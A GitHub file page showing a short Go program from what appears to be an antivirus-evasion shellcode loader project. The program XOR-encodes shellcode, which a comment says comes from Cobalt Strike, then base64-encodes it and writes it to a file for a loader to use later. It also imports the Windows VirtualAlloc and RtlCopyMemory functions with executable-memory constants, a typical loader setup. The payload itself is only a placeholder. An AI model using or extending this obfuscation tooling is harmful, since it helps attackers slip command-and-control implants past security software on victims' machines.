forked from Hangingsword/HouQing
-
Notifications
You must be signed in to change notification settings - Fork 0
/
code.go
41 lines (37 loc) · 1007 Bytes
/
code.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package main
import (
"encoding/base64"
"fmt"
"os"
"syscall"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
KEY_1 = 58 //输入数字
KEY_2 = 69 //输入数字
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func main() {
var xor_shellcode []byte
xor_shellcode = []byte{"shellcode"} //cs生成64位.java shelcode
var shellcode []byte
for i := 0; i < len(xor_shellcode); i++ {
shellcode = append(shellcode, xor_shellcode[i]^KEY_1^KEY_2)
}
decodeBytes := base64.StdEncoding.EncodeToString(shellcode)
fname := os.Args[1]
f, err := os.OpenFile(fname, os.O_CREATE|os.O_RDWR|os.O_APPEND, os.ModeAppend|os.ModePerm)
if err != nil {
fmt.Println(err)
}
f.WriteString(decodeBytes)
f.Close()
fmt.Println("写入成功!")
}